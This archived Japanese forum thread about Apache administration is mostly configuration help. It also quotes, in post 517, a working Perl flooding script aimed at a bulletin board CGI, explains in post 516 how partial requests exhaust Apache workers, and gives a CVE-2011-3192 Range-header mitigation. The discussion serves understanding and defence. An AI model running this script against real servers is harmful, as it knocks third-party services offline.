Apache関連 Part11
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
2008/09/30(火) 08:11:00http://httpd.apache.org/
●インストール済みApacheの詳細情報の調べ方
httpd -h 簡易ヘルプ
httpd -v バージョン情報
httpd -V コンパイル条件など詳細な情報
httpd -l 静的リンクされたモジュール一覧
httpd -M 現在の設定ファイルで読み込まれるモジュール(2.2以降)
●公式マニュアル
http://httpd.apache.org/docs/1.3/ Apache 1.3
http://httpd.apache.org/docs/2.0/ Apache 2.0
http://httpd.apache.org/docs/2.2/ Apache 2.2
●ディレクティブ一覧
http://httpd.apache.org/docs/1.3/mod/directives.html
http://httpd.apache.org/docs/2.0/mod/quickreference.html
http://httpd.apache.org/docs/2.2/mod/quickreference.html
前スレッド
Apache関連 Part10
http://pc11.2ch.net/test/read.cgi/unix/1179627714/
0438名無しさん@お腹いっぱい。
2010/12/22(水) 10:25:200439名無しさん@お腹いっぱい。
2011/01/20(木) 23:46:47httpd.confで
PythonHandler test
にして、test.pyを動かしているのですが、このようにファイル名をいちいち指定しないで動かすにはどうしたらいいでしょうか?
0440名無しさん@お腹いっぱい。
2011/01/21(金) 02:50:340441名無しさん@お腹いっぱい。
2011/01/23(日) 18:47:18Apacheのaccess_logの見方についてですが、以下の304はなんと表現するのが正しいのでしょうか?
xxx.xxx.xxx.xxx - test [23/Jan/2011:18:16:15 +0900] "GET /test.css HTTP/1.1" 304 -
順番に
アクセスしてきた相手のIPアドレス
認証があった場合に使用されたユーザID
アクセスされたサーバ時刻
GETはリクエストヘッダー、GET方式での呼び出し
/test.cssはファイル名、
HTTP/1.1はプロトコルバージョン
304は・・・??
よろしくお願いします。
0442名無しさん@お腹いっぱい。
2011/01/23(日) 18:51:470443名無しさん@お腹いっぱい。
2011/01/23(日) 18:54:14例えば304のかわりに200で後ろが-でなく数値があれば、リクエスト通って、実際に送出したデータ量(バイト)
という認識でOKですよね。自己解決しました
0444名無しさん@お腹いっぱい。
2011/01/23(日) 18:57:130445名無しさん@お腹いっぱい。
2011/01/24(月) 11:51:23そうなんですよ。
0446名無しさん@お腹いっぱい。
2011/02/11(金) 12:16:180447名無しさん@お腹いっぱい。
2011/03/17(木) 18:20:00.70再起動したあとにIPアドレスが変わり名前と違うようになるみたいで
apacheが立ち上がったときに https だけがこけています。(httpはOK)
その後落ち着いてから apache を再起動すると https もうまく起動します。
これを最初から https もこけずに起動できるようにするにはどうすればよいでしょうか。
0448名無しさん@お腹いっぱい。
2011/03/17(木) 18:35:59.290449名無しさん@お腹いっぱい。
2011/03/17(木) 18:37:38.430450名無しさん@お腹いっぱい。
2011/03/17(木) 18:52:24.060451名無しさん@お腹いっぱい。
2011/03/17(木) 18:53:23.39Apacheはその固定アドレス:443をListenさせるとかw
IPv6はどう対処させようか。
サーバなのにtempaddrで運用するってのもアレだけどw
0452名無しさん@お腹いっぱい。
2011/03/17(木) 18:54:54.930453447
2011/03/17(木) 19:07:02.360454名無しさん@お腹いっぱい。
2011/03/24(木) 00:54:18.21【2ch激論】ダム板が統合・廃止へ!人気スレ「また騙されてダム板に…」がなくなる?
http://kamome.2ch.net/test/read.cgi/river/1299720645/
0455名無しさん@お腹いっぱい。
2011/04/23(土) 20:14:19.39ログにそのユーザ名が記録されていたんだけど
2.2系に変更したら失敗時は"-"と記録されるようになった。
2.2でも1.3のようにログすることってできないかな?
0456名無しさん@お腹いっぱい。
2011/04/25(月) 01:52:04.73マジで?そうだとすると、マニュアルに書いてあることが間違ってるね
http://httpd.apache.org/docs/2.2/mod/mod_log_config.html
>リモートユーザ (認証によるもの。ステータス (%s) が 401 のときは意味がないものである可能性がある)
0457名無しさん@お腹いっぱい。
2011/04/25(月) 21:21:40.24ユーザにプロンプトが出る前に一回 401 が返るけどそのログと見間違えてる?
mod_log_config.c の log_remote_user を見ても、- になるのは NULL のときだよ。
0458名無しさん@お腹いっぱい。
2011/04/25(月) 22:55:22.44うん、マニュアルと一致しなくておかしいなぁ、と思ってた。
>>457
う〜ん、なんでだろう。見間違いはないんだけよね。
でもうち以外では挙動が違うってのはうれしい情報。
もうちょっと調べてみる。
0459名無しさん@お腹いっぱい。
2011/05/10(火) 12:06:13.87apacheのプロセス番号からアクセスしているURLを調べることってできますでしょうか?
ご教示いただけると幸いです。
0460名無しさん@お腹いっぱい。
2011/05/10(火) 12:28:09.560461名無しさん@お腹いっぱい。
2011/05/10(火) 23:43:44.840462 忍法帖【Lv=4,xxxP】
2011/05/17(火) 13:18:40.00のように、ローカルの絶対パスで指定ってできないんでしょうか?
環境httpdバージョン2.2
0463名無しさん@お腹いっぱい。
2011/05/17(火) 13:23:28.770464名無しさん@お腹いっぱい。
2011/05/17(火) 13:24:02.24http://httpd.apache.org/docs/2.2/ja/mod/core.html#errordocument
0465名無しさん@お腹いっぱい。
2011/05/17(火) 23:46:14.18先に
Alias /404.html /usr/home/foo/bar/404.html
すればよくね?
0466 忍法帖【Lv=4,xxxP】
2011/05/18(水) 05:00:26.65そうやるしかなさそうですね。ありがとございます。
0467名無しさん@お腹いっぱい。
2011/05/22(日) 23:13:08.31モジュール内部でgetpidとrequest_recみてやればいい。
0468名無しさん@お腹いっぱい。
2011/05/25(水) 15:58:06.65マルチポストすみません。
以下の設定が前提です。
■ ディレクトリ構成(一部抜粋)
/var/www/hoge
/var/www/hoge/hage
/var/www/hoge/hage/hige
■ httpd.conf(一部抜粋)
DocumentRoot /var/www/html
Alias /hage /var/www/hoge/hage
<Directory "/var/www/hoge/hage">
SSLRequireSSL
ErrorDocument 403 "SSL Require -> https://"
AllowOverride All
Order allow,deny
Allow from all
</Directory>
【やりたいこと】
ディレクトリ /hage「だけ」に SSL をかけたいです。
【こまっていること】
上記設定ですと、/hage/hige にも SSL がかかってしまいます。
/hage にだけ SSL をかけることはできますでしょうか?
(そもそもの設定が間違っている可能性大ですが)
よろしくお願いいたします。
0469名無しさん@お腹いっぱい。
2011/05/25(水) 16:04:36.040470名無しさん@お腹いっぱい。
2011/05/27(金) 21:19:19.24一番上に書いたものにマッチするそうですが、これを拒否する方法はありますか?
0471名無しさん@お腹いっぱい。
2011/05/27(金) 21:34:58.880472名無しさん@お腹いっぱい。
2011/05/31(火) 11:34:45.66/home/test/admin/test.cgi というファイルがあってこのtest.cgiを
実行させたいんですが、以下のようにすると client denied by server
configuration で動きません。
<VirtualHost 123.123.123.123:80>
DocumentRoot /home/test/public_html
ServerName www.test.com
ScriptAlias /ugoke/ "/home/test/admin/"
</VirtualHost>
/home/test/public_html/test.cgi に置くと問題なく動くんですが
ScriptAliasはDocumentRootの下を指定しないといけないんでしょうか?
Apache1.3系だと上のような設定で動いているんですが・・・
今は2.0.64です。
0473名無しさん@お腹いっぱい。
2011/05/31(火) 11:42:53.97そんなことはない。注意事項がマニュアルに書いてある。
マニュアルも読まない奴はサーバー管理しちゃいけないというトラップ。
0474名無しさん@お腹いっぱい。
2011/05/31(火) 12:38:12.94ありがつ。
0475名無しさん@お腹いっぱい。
2011/06/02(木) 20:11:56.10ググっても何も出てこないよ
0476 忍法帖【Lv=3,xxxP】
2011/06/03(金) 15:35:07.410477名無しさん@お腹いっぱい。
2011/06/03(金) 23:19:38.090478240
2011/06/04(土) 13:40:48.27____
/ \
/ _ノ ヽ、_ \
/ o゚⌒ ⌒゚o \ 今日もまた、
| (__人__) | /usr/local/apache2/bin/apachctl start
\ ` ⌒´ / を打ち間違える仕事が始まったお…
0479名無しさん@お腹いっぱい。
2011/06/04(土) 21:06:20.75HTMLで記述してもうまく動かないからサーバーの方に問題があるのかと思いまして・・・
0480名無しさん@お腹いっぱい。
2011/06/05(日) 00:33:34.280481名無しさん@お腹いっぱい。
2011/06/06(月) 20:24:12.23「Sub-process /usr/bin/dpkg returned an error code」
と出てしまいます。
どうしたら再インストール出来るか教えてください。
0482名無しさん@お腹いっぱい。
2011/06/06(月) 20:28:52.630483名無しさん@お腹いっぱい。
2011/06/06(月) 20:41:33.541から設定しなおすのが大変なので他にないでしょうか?
0484名無しさん@お腹いっぱい。
2011/06/06(月) 21:12:18.110485名無しさん@お腹いっぱい。
2011/06/06(月) 23:00:39.100486名無しさん@お腹いっぱい。
2011/06/08(水) 21:01:28.15ログイン情報などをsessionで保存しているのですが、これを一度クリアすることってできますか?
0487名無しさん@お腹いっぱい。
2011/06/10(金) 06:07:56.31その an error code がなんなのかわからないと答えようがないと思うが。
0488名無しさん@お腹いっぱい。
2011/06/10(金) 11:27:48.640489名無しさん@お腹いっぱい。
2011/06/16(木) 04:07:49.48Webサーバ2台、APサーバ2台で構成しており、workers.propertiesは
以下のものがWebサーバ2台ともに入っています。
===
worker.list=wlb
worker.w1.type=ajp13
worker.w1.host=192.168.0.201
worker.w1.port=8009
worker.w1.redirect=w2
worker.w2.type=ajp13
worker.w2.host=192.168.0.202
worker.w2.port=8009
worker.w2.activation=disable
worker.wlb.type=lb
worker.wlb.balance_workers=w1,w2
worker.wlb.sticky_session=True
===
w1がダウンし続けた場合、mod_jkは定期的にw1にリクエストを送り、失敗したのちまたw2にフェイルオーバするという仕様になっているのでしょうか?
recovery_optionの設定も見たのですが、デフォルトが0ということでこの場合にどのような動作になるのかがわかりません。
環境は以下の通りです。
Fedora12
Apache2.2
mod_jk1.2.30
よろしくお願いいたします。
0490名無しさん@お腹いっぱい。
2011/06/22(水) 22:02:32.13http://stderr.net/apache/rpaf/download/mod_rpaf-0.6.tar.gz
誰かミラー知ってる人いませんか?
0491名無しさん@お腹いっぱい。
2011/06/24(金) 18:13:00.70違ってると思うけど、mod_extract_forwarded ではダメ?・・・だよね
0492名無しさん@お腹いっぱい。
2011/06/24(金) 18:50:42.93ftp://ftp.freebsd.org/pub/FreeBSD/ports/distfiles/mod_rpaf-0.6.tar.gz
0493名無しさん@お腹いっぱい。
2011/06/25(土) 10:20:58.370494名無しさん@お腹いっぱい。
2011/06/25(土) 10:49:30.95どっかにあると思ってたけど 492 さんには本当に感謝。
自分も昨日から急遽 source が必要になったから焦ってた。
0495名無しさん@お腹いっぱい。
2011/07/04(月) 18:37:48.03RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-d
RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-f
RewriteRule ^/item/(.*)\.html /item/detail.php?id=$1 [P,QSA,NE,L]
このような設定がサイトごとに3つあり、10サイト稼働しています
サイトを増やしたところ$1が空でした
ログを見ると条件にマッチしてましたが、$1が空になってしまうのです
他のサイトを一時的に消したところ、なぜか期待通りの動きになりました
apacheのバージョンは2.2.9です
何かお分かりになりますでしょうか
0496名無しさん@お腹いっぱい。
2011/07/04(月) 19:33:55.08しかたなく使うのが許されるウンコであって、
それを通常運用としてしまうのはウンコ以下。
ウンコの限界を極めるウンコ仕事をするよりも、
ウンコを使わないで済むようにスクリプトの方を修正した方がいい。
具体的には、
AliasMatch ^/item/.*\.html /item/detail.php
として、呼ばれたURLから.*の部分を拾うようdetail.phpを書き換える。
0497名無しさん@お腹いっぱい。
2011/07/09(土) 01:11:49.14(事前に指定したサイトしかアクセスできないように設定)
を作ろうとしているのですが、設定が上手くいかないです。
下記、例としてyahooおよびgoogleのみアクセスを許可して、
それ以外のサイトをアクセス拒否させる目的で設定しましたが、
一番上のアクセス拒否の設定が優先されてしまうため、
全てのサイトへのアクセスが拒否されてしまいます。
●現在の設定例(一部抜粋)
<Proxy *>
Order deny,allow
Deny from all
</Proxy>
<Proxy http://www.yahoo.co.jp/*>
Order allow,deny
Allow from all
</Proxy>
<Proxy http://www.google.co.jp/*>
Order allow,deny
Allow from all
</Proxy>
上記、あて先がyahooとgoogleのみアクセス許可して、
それ以外のサイトへのアクセスを拒否したいのですが、
Apache2.2でそれを行う方法はあるのでしょうか?
(configの記載順による優先順位の問題でしょうか?)
上記、わかる方がいれば、教えていただけると助かります。
よろしくお願いいたします。
0498名無しさん@お腹いっぱい。
2011/07/23(土) 18:08:53.11参考になるサイトとかって無いかな。もしくは、やったことある人いる?
0499名無しさん@お腹いっぱい。
2011/07/24(日) 00:56:01.270500名無しさん@お腹いっぱい。
2011/07/24(日) 10:34:15.190501名無しさん@お腹いっぱい。
2011/07/24(日) 11:36:01.870502名無しさん@お腹いっぱい。
2011/07/24(日) 12:44:00.71相手からのリクエストを読んでから、遮断するから。
相手が接続だけして、何もデータを送ってこないと接続数がふくれあがるはず。実験してないけど
しかも、遮断する前にスレッドなりプロセスなりを割り当てるから、リソースが無駄。
本来は、acceptした時点でIPアドレスがわかるわけだから、それを振り分ける前に遮断するべき
0503名無しさん@お腹いっぱい。
2011/07/24(日) 13:08:54.970504名無しさん@お腹いっぱい。
2011/07/24(日) 13:29:08.340505名無しさん@お腹いっぱい。
2011/07/24(日) 14:18:19.690506名無しさん@お腹いっぱい。
2011/07/24(日) 18:05:28.860507名無しさん@お腹いっぱい。
2011/07/24(日) 20:34:50.64そんな感じですね。
ぼんやりしたやり取りがたまらないw
0508名無しさん@お腹いっぱい。
2011/07/25(月) 00:12:09.07DoS対策はmod_security
CentOS5.x/Apache2.2.xで安定して使ってるよ
0509名無しさん@お腹いっぱい。
2011/07/25(月) 00:22:08.76なんか帯域カウンターが戻らなくて溜まってしまう感じ
0510名無しさん@お腹いっぱい。
2011/07/25(月) 01:21:57.68バグ報告すれば?それかソースコード自分で見れば?
モジュール単体なら、そんなに量多くないから分かるはず
>>505
http://d.hatena.ne.jp/dayflower/20081029/1225266220
ここを参考mpmのソース見ると、ヘッダーを読み込んだあとにしかモジュールのフックをかけられない構造になってる。
だから、mpm改造しちゃえばできるんだけど。モジュール化の意味合いが薄まるから汚いかなって
0511名無しさん@お腹いっぱい。
2011/07/25(月) 01:24:03.92不完全なのは知ってのことなのか。世界の誰か頑張れよ
俺がもっといいmpm作ろうかな。性能がよければ有名になれるかなwww
0512名無しさん@お腹いっぱい。
2011/07/25(月) 02:28:49.74結局のところモジュール本体に改造を入れることって多いよね。。。
0513名無しさん@お腹いっぱい。
2011/07/25(月) 03:15:04.58だったら作って有名になってみればいいじゃんw
0514509
2011/07/25(月) 10:37:52.60複数プロセスで共有してる奴で、どっかで突然死するプロセスが居ればさもありなんて感じ
発生頻度も週一くらいで、何台かで回してるサービスだし面倒
0515名無しさん@お腹いっぱい。
2011/07/25(月) 11:56:14.210516名無しさん@お腹いっぱい。
2011/08/04(木) 07:37:37.77サーバへにリクエストが来た時、リクエストを受け取るまでhttpdは待っているわけだ
しかしcontentslength分だけ受け取りたいけど待てど暮らせど送ってこないから
httpd.confのtimeoutするまでそのhttpdプロセスがブロックされるんだな
そしてそれがたーくさんたまる、売り切れまで溜まる
売り切れたらそれ以降のhttpの要求は受け付けなくなる
攻撃がやんだらブロックされているhttpdは順次timeoutで開放され
だんだんいつもの状態に近づく
こうなんじゃないかな?
456 ◆IOT1IIO1ILUU-さる♪ sage 2011/08/03(水) 15:06:18.97 ID:219.106.108.87 0
>>449
大体はそんな感じです。
少し違うのは、Content-Lengthは関係ありません。
中途半端なHTTPリクエストであってもApacheが律儀にTCPのタイムアウトまでリソースを確保して待ってしまうのが原因なので、
それこそTCPで何か少しでもデータを送ってやれば、HTTPリクエストとして完全に破綻していてもApacheは落ちます。
なのでHTTPのヘッダに着目して対策するのは無理です。
0517名無しさん@お腹いっぱい。
2011/08/04(木) 07:39:45.57攻撃元のスクリプトは以下
433 名無しさん@お腹いっぱい。 sage 2011/08/03(水) 14:51:01.84 ID:81.94.203.180 0
スクリプト自体はマルチスレッドでBBS.CGIを叩くだけなんだよな
こんな感じで
my $ref = sub{
while(){
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
connect(SOCK, sockaddr_in("80", $ipaddr));
select(SOCK);
$|=1;
select(STDOUT);
print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
print SOCK "Accept: */*\r\n";
print SOCK "Referer: http://$sv" . "/news/\r\n";
print SOCK "Accept-Language: ja,en;q=0.5\r\n";
print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
print SOCK "Accept-Encoding: gzip, deflate\r\n";
print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
print SOCK "Host: $sv\r\n";
print SOCK "Content-Length: 1\r\n";
print SOCK "Connection: Keep-Alive\r\n";
print SOCK "\r\n";
close(SOCK);
threads->yield();
}
};
0518名無しさん@お腹いっぱい。
2011/08/04(木) 10:17:16.260519名無しさん@お腹いっぱい。
2011/08/04(木) 10:38:02.85ありがとう
0520名無しさん@お腹いっぱい。
2011/08/07(日) 14:40:43.49Keep-Aliveの時間を指定した場合、どういう時間を指し示すのでしょうか?
Wikipediaを見ていてふと疑問に思いました。
Keepalive time is the duration between two keepalive transmissions in idle condition. TCP keepalive period is required to be configurable and by default is set to no less than 2 hours.
Keepalive interval is the duration between two successive keepalive retransmissions, if acknowledgement to the previous keepalive transmission is not received.
http://en.wikipedia.org/wiki/Keepalive
0521名無しさん@お腹いっぱい。
2011/08/07(日) 15:23:57.310522名無しさん@お腹いっぱい。
2011/08/07(日) 17:14:40.130523名無しさん@お腹いっぱい。
2011/08/09(火) 04:00:06.70telnetでアクセス(HEAD /some/foo/hoge.jpg HTTP/1.0)しても404を返してくるサーバがあります。
それなのに、chromeでアクセスすると画像が表示されます。
これってどういう設定なのでしょうか?
telnetやwgetでchromeと同じ結果を得るためには、どうアクセスするべきなのでしょうか?
0524509
2011/08/09(火) 10:40:40.070525名無しさん@お腹いっぱい。
2011/08/10(水) 03:24:02.30Chrome で見えるって言うのは、画像の URI を直接指定して?
こちらの紳士達が詳しいかも↓
http://hibari.2ch.net/test/read.cgi/unix/1305422004/l50
0526名無しさん@お腹いっぱい。
2011/08/10(水) 22:09:42.74ユーザエージェント制限の可能性があるけどその場合は404じゃんくて403だよね
0527名無しさん@お腹いっぱい。
2011/08/10(水) 23:46:51.840528名無しさん@お腹いっぱい。
2011/08/11(木) 00:04:53.560529名無しさん@お腹いっぱい。
2011/08/11(木) 10:41:31.120530名無しさん@お腹いっぱい。
2011/08/11(木) 12:15:38.68軽い気持ちで404返してるかも知れないのにお前は何を言ってるんだ?
0531名無しさん@お腹いっぱい。
2011/08/11(木) 13:36:22.240532名無しさん@お腹いっぱい。
2011/08/13(土) 04:50:07.440533名無しさん@お腹いっぱい。
2011/08/18(木) 10:42:17.44どう設定したらいいかな。
chinkoサーバに http://unko/ というアクセスがあったとき
200でなく404とか適切なエラーを返したい
0534名無しさん@お腹いっぱい。
2011/08/18(木) 10:43:51.160535名無しさん@お腹いっぱい。
2011/08/18(木) 18:25:43.830536名無しさん@お腹いっぱい。
2011/08/25(木) 21:34:02.90Range header DoS vulnerability Apache HTTPD 1.3/2.x
1) Use SetEnvIf or mod_rewrite to detect a large number of ranges and then
either ignore the Range: header or reject the request.
Option 1: (Apache 2.0 and 2.2)
# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range
# optional logging.
CustomLog logs/range-CVE-2011-3192.log common env=bad-range
対策してね。
0537名無しさん@お腹いっぱい。
2011/08/25(木) 22:01:49.96http://hatsukari.2ch.net/test/read.cgi/news/1314272986/
0538名無しさん@お腹いっぱい。
2011/08/25(木) 23:31:09.77https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2011-3192
■ このスレッドは過去ログ倉庫に格納されています